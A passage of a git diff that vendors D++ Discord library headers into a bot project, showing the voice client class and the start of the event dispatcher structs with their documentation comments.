voice. + * If it has been sent, this is non-null and points to a + * sequence of exactly 32 bytes. + */ + uint8_t* secret_key; + + /** Sequence number of outbound audio. This is incremented + * once per frame sent. + */ + uint16_t sequence; + + /** Timestamp value used in outbound audio. Each packet + * has the timestamp value which is incremented to match + * how many frames are sent. + */ + uint32_t timestamp; + + /** + * Last sent packet high-resolution timestamp + */ + std::chrono::high_resolution_clock::time_point last_timestamp; + + /** + * Maps receiving ssrc to user id + */ + std::unordered_map ssrcMap; + + /** This is set to true if we have started sending audio. + * When this moves from false to true, this causes the + * client to send the 'talking' notification to the websocket. + */ + bool sending; + + /** Number of track markers in the buffer. For example if there + * are two track markers in the buffer there are 3 tracks. + * Special case: + * If the buffer is empty, there are zero tracks in the + * buffer. + */ + uint32_t tracks; + + /** Meta data associated with each track. + * Arbitrary string that the user can set via + * dpp::discord_voice_client::AddMarker + */ + std::vector track_meta; + + /** Encoding buffer for opus repacketizer and encode + */ + uint8_t encode_buffer[65536]; + + /** + * @brief Send data to UDP socket immediately. + * + * @param data data to send + * @param length length of data to send + * @return int bytes sent. Will return -1 if we cannot send + */ + int udp_send(const char* data, size_t length); + + /** + * @brief Receive data from UDP socket immediately. + * + * @param data data to receive + * @param max_length size of data receiving buffer + * @return int bytes received. -1 if there is an error + * (e.g. EAGAIN) + */ + int udp_recv(char* data, size_t max_length); + + /** + * @brief This hooks the ssl_client, returning the file + * descriptor if we want to send buffered data, or + * -1 if there is nothing to send + * + * @return int file descriptor or -1 + */ + dpp::socket want_write(); + + /** + * @brief This hooks the ssl_client, returning the file + * descriptor if we want to receive buffered data, or + * -1 if we are not wanting to receive + * + * @return int file descriptor or -1 + */ + dpp::socket want_read(); + + /** + * @brief Called by ssl_client when the socket is ready + * for writing, at this point we pick the head item off + * the buffer and send it. So long as it doesnt error + * completely, we pop it off the head of the queue. + */ + void write_ready(); + + /** + * @brief Called by ssl_client when there is data to be + * read. At this point we insert that data into the + * input queue. + */ + void read_ready(); + + /** + * @brief Send data to the UDP socket, using the buffer. + * + * @param packet packet data + * @param len length of packet + * @param duration duration of opus packet + */ + void send(const char* packet, size_t len, uint64_t duration); + + /** + * @brief Queue a message to be sent via the websocket + * + * @param j The JSON data of the message to be sent + * @param to_front If set to true, will place the message at the front of the queue not the back + * (this is for urgent messages such as heartbeat, presence, so they can take precedence over + * chunk requests etc) + */ + void queue_message(const std::string &j, bool to_front = false); + + /** + * @brief Clear the outbound message queue + * + */ + void clear_queue(); + + /** + * @brief Get the size of the outbound message queue + * + * @return The size of the queue + */ + size_t get_queue_size(); + + /** + * @brief Encode a byte buffer using opus codec. + * Multiple opus frames (2880 bytes each) will be encoded into one packet for sending. + * + * @param input Input data as raw bytes of PCM data + * @param inDataSize Input data length + * @param output Output data as an opus encoded packet + * @param outDataSize Output data length, should be at least equal to the input size. + * Will be adjusted on return to the actual compressed data size. + * @return size_t The compressed data size that was encoded. + * @throw dpp::voice_exception If data length to encode is invalid or voice support not compiled into D++ + */ + size_t encode(uint8_t *input, size_t inDataSize, uint8_t *output, size_t &outDataSize); + +public: + + /** Owning cluster */ + class dpp::cluster* creator; + + /* This needs to be static, we only initialise libsodium once per program start, + * so initialising it on first use in a voice connection is best. + */ + static bool sodium_initialised; + + /** True when the thread is shutting down */ + bool terminating; + + /** Decode received voice packets to PCM */ + bool decode_voice_recv; + + /** Heartbeat interval for sending heartbeat keepalive */ + uint32_t heartbeat_interval; + + /** Last heartbeat */ + time_t last_heartbeat; + + /** Thread ID */ + std::thread::native_handle_type thread_id; + + /** Discord voice session token */ + std::string token; + + /** Discord voice session id */ + std::string sessionid; + + /** Server ID */ + snowflake server_id; + + /** Channel ID */ + snowflake channel_id; + + /** Log a message to whatever log the user is using. + * The logged message is passed up the chain to the on_log event in user code which can then do whatever + * it wants to do with it. + * @param severity The log level from dpp::loglevel + * @param msg The log message to output + */ + virtual void log(dpp::loglevel severity, const std::string &msg) const; + + /** + * @brief Fires every second from the underlying socket I/O loop, used for sending heartbeats + * @throw dpp::exception if the socket needs to disconnect + */ + virtual void one_second_timer(); + + /** + * @brief voice client is ready to stream audio. + * The voice client is considered ready if it has a secret key. + * + * @return true if ready to stream audio + */ + bool is_ready(); + + /** + * @brief Returns true if the voice client is connected to the websocket + * + * @return True if connected + */ + bool is_connected(); + + /** + * @brief Returns the connection time of the voice client + * + * @return dpp::utility::uptime Detail of how long the voice client has been connected for + */ + dpp::utility::uptime get_uptime(); + + /** Constructor takes shard id, max shards and token. + * @param _cluster The cluster which owns this voice connection, for related logging, REST requests etc + * @param _channel_id The channel id to identify the voice connection as + * @param _server_id The server id (guild id) to identify the voice connection as + * @param _token The voice session token to use for identifying to the websocket + * @param _session_id The voice session id to identify with + * @param _host The voice server hostname to connect to (hostname:port format) + * @throw dpp::voice_exception Sodium or Opus failed to initialise, or D++ is not compiled with voice support + */ + discord_voice_client(dpp::cluster* _cluster, snowflake _channel_id, snowflake _server_id, const std::string &_token, const std::string &_session_id, const std::string &_host); + + /** Destructor */ + virtual ~discord_voice_client(); + + /** Handle JSON from the websocket. + * @param buffer The entire buffer content from the websocket client + * @return bool True if a frame has been handled + * @throw dpp::exception If there was an error processing the frame, or connection to UDP socket failed + */ + virtual bool handle_frame(const std::string &buffer); + + /** Handle a websocket error. + * @param errorcode The error returned from the websocket + */ + virtual void error(uint32_t errorcode); + + /** Start and monitor I/O loop */ + void run(); + + /** + * @brief Send raw audio to the voice channel. + * + * You should send an audio packet of n11520 bytes. + * Note that this function can be costly as it has to opus encode + * the PCM audio on the fly, and also encrypt it with libsodium. + * + * @note Because this function encrypts and encodes packets before + * pushing them onto the output queue, if you have a complete stream + * ready to send and know its length it is advisable to call this + * method multiple times to enqueue the entire stream audio so that + * it is all encoded at once (unless you have set use_opus to false). + * Constantly calling this from the dpp::on_voice_buffer_send callback + * can and will eat a TON of cpu! + * + * @param audio_data Raw PCM audio data. Channels are interleaved, + * with each channel's amplitude being a 16 bit value. + * + * The audio data should be 48000Hz signed 16 bit audio. + * + * @param length The length of the audio data. The length should + * be a multiple of 4 (2x 16 bit stero channels) with a maximum + * length of 11520, which is a complete opus frame at highest + * quality. + * + * @return discord_voice_client& Reference to self + * + * @throw dpp::voice_exception If data length is invalid or voice support not compiled into D++ + */ + discord_voice_client& send_audio_raw(uint16_t* audio_data, const size_t length); + + /** + * @brief Send opus packets to the voice channel + * + * Some containers such as .ogg may contain OPUS + * encoded data already. In this case, we don't need to encode the + * frames using opus here. We can bypass the codec, only applying + * libsodium to the stream. + * + * @param opus_packet Opus packets. Discord expects opus frames + * to be encoded at 48000Hz + * + * @param length The length of the audio data. + * + * @param duration Generally duration is 2.5, 5, 10, 20, 40 or 60 + * if the timescale is 1000000 (1ms) + * + * @return discord_voice_client& Reference to self + * + * @note It is your responsibility to ensure that packets of data + * sent to send_audio are correctly repacketized for streaming, + * e.g. that audio frames are not too large or contain + * an incorrect format. Discord will still expect the same frequency + * and bit width of audio and the same signedness. + * + * @throw dpp::voice_exception If data length is invalid or voice support not compiled into D++ + */ + discord_voice_client& send_audio_opus(uint8_t* opus_packet, const size_t length, uint64_t duration); + + /** + * @brief Send opus packets to the voice channel + * + * Some containers such as .ogg may contain OPUS + * encoded data already. In this case, we don't need to encode the + * frames using opus here. We can bypass the codec, only applying + * libsodium to the stream. + * + * Duration is calculated internally + * + * @param opus_packet Opus packets. Discord expects opus frames + * to be encoded at 48000Hz + * + * @param length The length of the audio data. + * + * @return discord_voice_client& Reference to self + * + * @note It is your responsibility to ensure that packets of data + * sent to send_audio are correctly repacketized for streaming, + * e.g. that audio frames are not too large or contain + * an incorrect format. Discord will still expect the same frequency + * and bit width of audio and the same signedness. + * + * @throw dpp::voice_exception If data length is invalid or voice support not compiled into D++ + */ + discord_voice_client& send_audio_opus(uint8_t* opus_packet, const size_t length); + + /** + * @brief Send silence to the voice channel + * + * @param duration How long to send silence for. With the standard + * timescale this is in milliseconds. Allowed values are 2.5, + * 5, 10, 20, 40 or 60 milliseconds. + * @return discord_voice_client& Reference to self + * @throw dpp::voice_exception if voice support is not compiled into D++ + */ + discord_voice_client& send_silence(const uint64_t duration); + + /** + * @brief Set the timescale in nanoseconds. + * + * @param new_timescale Timescale to set. This defaults to 1000000, + * which means 1 millisecond. + * @return discord_voice_client& Reference to self + * @throw dpp::voice_exception If data length is invalid or voice support not compiled into D++ + */ + discord_voice_client& set_timescale(uint64_t new_timescale); + + /** + * @brief Get the current timescale, this will default to 1000000 + * which means 1 millisecond. + * + * @return uint64_t timescale in nanoseconds + */ + uint64_t get_timescale(); + + /** + * @brief Mark the voice connection as 'speaking'. + * This sends a JSON message to the voice websocket which tells discord + * that the user is speaking. The library automatically calls this for you + * whenever you send audio. + * + * @return discord_voice_client& Reference to self + */ + discord_voice_client& speak(); + + /** + * @brief Pause sending of audio + * + * @param pause True to pause, false to resume + */ + void pause_audio(bool pause); + + /** + * @brief Immediately stop all audio. + * Clears the packet queue. + */ + void stop_audio(); + + /** + * @brief Returns true if we are playing audio + * + * @return true if audio is playing + */ + bool is_playing(); + + /** + * @brief Get the number of seconds remaining + * of the audio output buffer + * + * @return float number of seconds remaining + */ + float get_secs_remaining(); + + /** + * @brief Get the number of tracks remaining + * in the output buffer. + * This is calculated by the number of track + * markers plus one. + * @return uint32_t Number of tracks in the + * buffer + */ + uint32_t get_tracks_remaining(); + + /** + * @brief Get the time remaining to send the + * audio output buffer in hours:minutes:seconds + * + * @return dpp::utility::uptime length of buffer + */ + dpp::utility::uptime get_remaining(); + + /** + * @brief Insert a track marker into the audio + * output buffer. + * A track marker is an arbitrary flag in the + * buffer contents that indictes the end of some + * block of audio of significance to the sender. + * This may be a song from a streaming site, or + * some voice audio/speech, a sound effect, or + * whatever you choose. You can later skip + * to the next marker using the + * dpp::discord_voice_client::skip_to_next_marker + * function. + * @param metadata Arbitrary information related to this + * track + */ + void insert_marker(const std::string& metadata = ""); + + /** + * @brief Skip tp the next track marker, + * previously inserted by using the + * dpp::discord_voice_client::insert_marker + * function. If there are no markers in the + * output buffer, then this skips to the end + * of the buffer and is equivalent to the + * dpp::discord_voice_client::stop_audio + * function. + * @note It is possible to use this function + * while the output stream is paused. + */ + void skip_to_next_marker(); + + /** + * @brief Get the metdata string associated with each inserted marker. + * + * @return const std::vector& list of metadata strings + */ + const std::vector get_marker_metadata(); + + /** + * @brief Returns true if the audio is paused. + * You can unpause with + * dpp::discord_voice_client::pause_audio. + * + * @return true if paused + */ + bool is_paused(); + + /** + * @brief Discord external IP detection. + * @return std::string Your external IP address + * @note This is a blocking operation that waits + * for a single packet from Discord's voice servers. + */ + std::string discover_ip(); +}; + +}; + diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/dispatcher.h b/MyBot/dependencies/include/dpp-9.0/dpp/dispatcher.h new file mode 100644 index 0000000..d9ff622 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/dispatcher.h @@ -0,0 +1,1543 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include + +namespace dpp { + +/** + * @brief A returned event handle for an event which was attached + */ +typedef size_t event_handle; + +/* Forward declaration */ +struct confirmation_callback_t; + +/** + * @brief A function used as a callback for any REST based command + */ +typedef std::function command_completion_event_t; + +/** @brief Base event parameter struct. + * Each event you receive from the library will have its parameter derived from this class. + * The class contains the raw event data, and a pointer to the current shard's dpp::discord_client object. + * You can also use this object to cancel the current event, meaning that any listeners after yours do + * not get notified of the current event if you call it. + */ +struct DPP_EXPORT event_dispatch_t { + /** + * @brief Raw event data. + * If you are using json on your websocket, this will contain json, and if you are using + * ETF as your websocket protocol, it will contain raw ETF data. + */ + const std::string raw_event; + + /** + * @brief Shard the event came from. + * Note that for some events, notably voice events, this may be nullptr. + */ + class discord_client* from; + + /** + * @brief Construct a new event_dispatch_t object + * + * @param client The shard the event originated on. May be a nullptr, e.g. for voice events + * @param raw Raw event data as JSON or ETF + */ + event_dispatch_t(class discord_client* client, const std::string& raw); + + /** + * @brief Cancels the event in progress. Any other attached lambdas for this event after this one are not called. + * Note that event cancellation is a thread local state, and not stored in the object (because object which can + * be cancelled is `const` during the event, and cannot itself contain the changeable state). + * @return const event_dispatch_t& reference to self for chaining + */ + const event_dispatch_t& cancel_event() const; + + /** + * @brief Returns true if the event is cancelled. + * Note that event cancellation is a thread local state, and not stored in the object (because object which can + * be cancelled is `const` during the event, and cannot itself contain the changeable state). + * @return true if the event is cancelled + */ + bool is_cancelled() const; +}; + +/** @brief Log messages */ +struct DPP_EXPORT log_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + log_t(class discord_client* client, const std::string& raw); + /** Severity */ + loglevel severity; + /** Log Message */ + std::string message; + + log_t(const log_t&) = default; +}; + +/** @brief Add user to scheduled event */ +struct DPP_EXPORT guild_scheduled_event_user_add_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + guild_scheduled_event_user_add_t(class discord_client* client, const std::string& raw); + /** + * @brief event user added to + */ + snowflake event_id; + + /** + * @brief User being added + * + */ + snowflake user_id; + + /** + * @brief Guild being added to + * + */ + snowflake guild_id; +}; + +/** @brief Delete user from scheduled event */ +struct DPP_EXPORT guild_scheduled_event_user_remove_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + guild_scheduled_event_user_remove_t(class discord_client* client, const std::string& raw); + /** + * @brief event user removed from + */ + snowflake event_id; + + /** + * @brief User being removed + * + */ + snowflake user_id; + + /** + * @brief Guild being removed from + * + */ + snowflake guild_id; +}; + +/** @brief Create scheduled event */ +struct DPP_EXPORT guild_scheduled_event_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + guild_scheduled_event_create_t(class discord_client* client, const std::string& raw); + /** + * @brief created event + */ + scheduled_event created; +}; + +/** @brief Create scheduled event */ +struct DPP_EXPORT guild_scheduled_event_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + guild_scheduled_event_update_t(class discord_client* client, const std::string& raw); + /** + * @brief updated event + */ + scheduled_event updated; +}; + +/** @brief Delete scheduled event */ +struct DPP_EXPORT guild_scheduled_event_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + guild_scheduled_event_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief deleted event + */ + scheduled_event deleted; +}; + + + +/** @brief Create stage instance */ +struct DPP_EXPORT stage_instance_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + stage_instance_create_t(class discord_client* client, const std::string& raw); + /** + * @brief created stage instance + */ + stage_instance created; +}; + +/** @brief Update stage instance */ +struct DPP_EXPORT stage_instance_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + stage_instance_update_t(class discord_client* client, const std::string& raw); + /** + * @brief updated stage instance + */ + stage_instance updated; +}; + +/** @brief Delete stage instance */ +struct DPP_EXPORT stage_instance_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. CAN BE NULL + * for log events originating from the cluster object + * @param raw Raw event text as JSON + */ + stage_instance_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief deleted stage instance + */ + stage_instance deleted; +}; + +/** @brief Voice state update */ +struct DPP_EXPORT voice_state_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + voice_state_update_t(class discord_client* client, const std::string& raw); + /** Voice state */ + voicestate state; +}; + +/** + * @brief Create interaction + */ +struct DPP_EXPORT interaction_create_t : public event_dispatch_t { + + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + interaction_create_t(class discord_client* client, const std::string& raw); + + /** + * @brief Send a reply for this interaction + * + * @param t Type of reply to send + * @param m Message object to send. Not all fields are supported by Discord. + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void reply(interaction_response_type t, const message & m, command_completion_event_t callback = {}) const; + + /** + * @brief Send a reply for this interaction + * + * @param t Type of reply to send + * @param mt The string value to send, for simple text only messages + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void reply(interaction_response_type t, const std::string & mt, command_completion_event_t callback = {}) const; + + /** + * @brief Reply to interaction with a dialog box + * @note Experimental + * + * @param mr Dialog box response to send + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void dialog(const interaction_modal_response& mr, command_completion_event_t callback = {}) const; + + /** + * @brief Get original response message for this interaction + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_original_response(command_completion_event_t callback) const; + + /** + * @brief Edit the response for this interaction + * + * @param m Message object to send. Not all fields are supported by Discord. + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void edit_response(const message & m, command_completion_event_t callback = {}) const; + + /** + * @brief Edit the response for this interaction + * + * @param mt The string value to send, for simple text only messages + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void edit_response(const std::string & mt, command_completion_event_t callback = {}) const; + + /** + * @brief Delete the original response for this interaction + * + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void delete_original_response(command_completion_event_t callback = {}); + + /** + * @brief Set the bot to 'thinking' state + * + * @param callback User function to execute when the api call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thinking(command_completion_event_t callback = {}) const; + + /** + * @brief Get a command line parameter + * + * @param name The command line parameter to retrieve + * @return const command_value& If the command line parameter does not + * exist, an empty variant is returned. + */ + const virtual command_value& get_parameter(const std::string& name) const; + + /** + * @brief command interaction + */ + interaction command; +}; + +/** + * @brief Click on button + */ +struct DPP_EXPORT button_click_t : public interaction_create_t { + + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + button_click_t(class discord_client* client, const std::string& raw); + + /** + * @brief Get a command line parameter + * + * @param name The command line parameter to retrieve + * @return Always returns an empty parameter as buttons dont have parameters! + */ + const virtual command_value& get_parameter(const std::string& name) const; + /** + * @brief button custom id + */ + std::string custom_id; + /** + * @brief component type + */ + uint8_t component_type; +}; + +struct DPP_EXPORT form_submit_t : public interaction_create_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + form_submit_t(class discord_client* client, const std::string& raw); + + /** + * @brief Get a command line parameter + * + * @param name The command line parameter to retrieve + * @return Always returns an empty parameter as buttons dont have parameters! + */ + const virtual command_value& get_parameter(const std::string& name) const; + /** + * @brief button custom id + */ + std::string custom_id; + /** + * @brief Message components for form reply + */ + std::vector components; +}; + +/** + * @brief Discord requests that we fill a list of auto completion choices for a command option + */ +struct DPP_EXPORT autocomplete_t : public interaction_create_t { + + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + autocomplete_t(class discord_client* client, const std::string& raw); + + /** + * @brief Get a command line parameter + * + * @param name The command line parameter to retrieve + * @return Always returns an empty parameter as auto complete requests dont have parameters! + */ + const virtual command_value& get_parameter(const std::string& name) const; + + /** + * @brief Command ID + */ + dpp::snowflake id; + + /** + * @brief Command name + */ + std::string name; + + /** + * @brief auto completion options + */ + std::vector options; +}; + + +/** + * @brief Click on select + */ +struct DPP_EXPORT select_click_t : public interaction_create_t { + + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + select_click_t(class discord_client* client, const std::string& raw); + + /** + * @brief Get a command line parameter + * + * @param name The command line parameter to retrieve + * @return Always returns an empty parameter as buttons dont have parameters! + */ + const virtual command_value& get_parameter(const std::string& name) const; + + /** + * @brief select menu custom id + */ + std::string custom_id; + /** + * @brief select menu values + */ + std::vector values; + /** + * @brief select menu component type + */ + uint8_t component_type; +}; + + +/** @brief Delete guild */ +struct DPP_EXPORT guild_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_delete_t(class discord_client* client, const std::string& raw); + /** Deleted guild */ + guild* deleted; +}; + +/** @brief Update guild stickers */ +struct DPP_EXPORT guild_stickers_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_stickers_update_t(class discord_client* client, const std::string& raw); + /** Updating guild */ + guild* updating_guild; + /** + * @brief stickers being updated + */ + std::vector stickers; +}; + +/** @brief Guild join request delete (user declined membership screening) */ +struct DPP_EXPORT guild_join_request_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_join_request_delete_t(class discord_client* client, const std::string& raw); + /** Deleted guild */ + snowflake guild_id; + /** + * @brief user id + */ + snowflake user_id; +}; + +/** @brief Delete channel */ +struct DPP_EXPORT channel_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + channel_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief guild channel is being deleted from + */ + guild* deleting_guild; + /** + * @brief channel being deleted + */ + channel* deleted; +}; + +/** @brief Update channel */ +struct DPP_EXPORT channel_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + channel_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild channel is being updated on + */ + guild* updating_guild; + /** + * @brief channel being updated + */ + channel* updated; +}; + +/** @brief Session ready */ +struct DPP_EXPORT ready_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + ready_t(class discord_client* client, const std::string& raw); + /** + * @brief websocket session id + */ + std::string session_id; + /** + * @brief shard id + */ + uint32_t shard_id; +}; + +/** @brief Message Deleted */ +struct DPP_EXPORT message_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief message being deleted + */ + message* deleted; +}; + +/** @brief Application slash command deleted */ +struct DPP_EXPORT application_command_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + application_command_delete_t(class discord_client* client, const std::string& raw); +}; + +/** @brief Guild member remove */ +struct DPP_EXPORT guild_member_remove_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_member_remove_t(class discord_client* client, const std::string& raw); + /** + * @brief guild user is being removed from + */ + guild* removing_guild; + /** + * @brief user being removed + */ + user* removed; +}; + +/** + * @brief Create application slash command + * + */ +struct DPP_EXPORT application_command_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + application_command_create_t(class discord_client* client, const std::string& raw); +}; + +/** @brief Session resumed */ +struct DPP_EXPORT resumed_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + resumed_t(class discord_client* client, const std::string& raw); + /** + * @brief websocket session id + */ + std::string session_id; + /** + * @brief shard id + */ + uint32_t shard_id; +}; + +/** @brief Guild role create */ +struct DPP_EXPORT guild_role_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_role_create_t(class discord_client* client, const std::string& raw); + /** + * @brief guild role is being created on + */ + guild* creating_guild; + /** + * @brief role being created + */ + role* created; +}; + +/** @brief Typing start */ +struct DPP_EXPORT typing_start_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + typing_start_t(class discord_client* client, const std::string& raw); + /** + * @brief guild user is typing on + */ + guild* typing_guild; + /** + * @brief channel user is typing on + */ + channel* typing_channel; + /** + * @brief user who is typing. + * Can be nullptr if user is not cached + */ + user* typing_user; + /** + * @brief User id of user typing. + * Always set regardless of caching + */ + snowflake user_id; + /** + * @brief Time of typing event + */ + time_t timestamp; +}; + +/** @brief Voice state update */ +struct DPP_EXPORT voice_track_marker_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on. + * Will always be null. + * @param raw Raw event text as JSON. + * Will always be empty. + */ + voice_track_marker_t(class discord_client* client, const std::string& raw); + /** Voice client */ + class discord_voice_client* voice_client; + /** Track metadata */ + std::string track_meta; +}; + + +/** @brief Message reaction add */ +struct DPP_EXPORT message_reaction_add_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_reaction_add_t(class discord_client* client, const std::string& raw); + /** + * @brief Guild reaction occurred on + */ + guild* reacting_guild; + /** + * @brief User who reacted + */ + user reacting_user; + /** + * @brief member data of user who reacted + */ + guild_member reacting_member; + /** + * @brief channel the reaction happened on + */ + channel* reacting_channel; + /** + * @brief emoji of reaction + */ + emoji reacting_emoji; + /** + * @brief message id of the message reacted upon + */ + snowflake message_id; +}; + +/** @brief Guild members chunk */ +struct DPP_EXPORT guild_members_chunk_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_members_chunk_t(class discord_client* client, const std::string& raw); + /** + * @brief guild the members chunk is for + */ + guild* adding; + /** + * @brief list of members in the chunk + */ + guild_member_map* members; +}; + +/** @brief Message reaction remove */ +struct DPP_EXPORT message_reaction_remove_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_reaction_remove_t(class discord_client* client, const std::string& raw); + /** + * @brief Guild reaction occurred on + */ + guild* reacting_guild; + /** + * @brief User who reacted + */ + dpp::snowflake reacting_user_id; + /** + * @brief channel the reaction happened on + */ + channel* reacting_channel; + /** + * @brief emoji of reaction + */ + emoji reacting_emoji; + /** + * @brief message id of the message reacted upon + */ + snowflake message_id; +}; + +/** @brief Create guild */ +struct DPP_EXPORT guild_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_create_t(class discord_client* client, const std::string& raw); + /** + * @brief guild that was created + */ + guild* created; + /** + * @brief List of presences of all users on the guild. + * + * This is only filled if you have the GUILD_PRESENCES + * privileged intent. + */ + presence_map presences; + /** + * @brief List of scheduled events in the guild + */ + scheduled_event_map scheduled_events; + /** + * @brief List of stage instances in the guild + */ + stage_instance_map stage_instances; + /** + * @brief List of threads in the guild + */ + thread_map threads; + /** + * @brief List of stickers in the guild + */ + sticker_map stickers; +}; + +/** @brief Create channel */ +struct DPP_EXPORT channel_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + channel_create_t(class discord_client* client, const std::string& raw); + /** + * @brief guild channel was created on + */ + guild* creating_guild; + /** + * @brief channel that was created + */ + channel* created; +}; + +/** @brief Message remove emoji */ +struct DPP_EXPORT message_reaction_remove_emoji_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_reaction_remove_emoji_t(class discord_client* client, const std::string& raw); + /** + * @brief Guild reaction occurred on + */ + guild* reacting_guild; + /** + * @brief channel the reaction happened on + */ + channel* reacting_channel; + /** + * @brief emoji of reaction + */ + emoji reacting_emoji; + /** + * @brief message id of the message reacted upon + */ + snowflake message_id; +}; + +/** @brief Message delete bulk */ +struct DPP_EXPORT message_delete_bulk_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_delete_bulk_t(class discord_client* client, const std::string& raw); + /** + * @brief guild messages are being deleted upon + */ + guild* deleting_guild; + /** + * @brief user who is deleting the messages + */ + user* deleting_user; + /** + * @brief channel messages are being deleted from + */ + channel* deleting_channel; + /** + * @brief list of message ids of deleted messages + */ + std::vector deleted; +}; + +/** @brief Guild role update */ +struct DPP_EXPORT 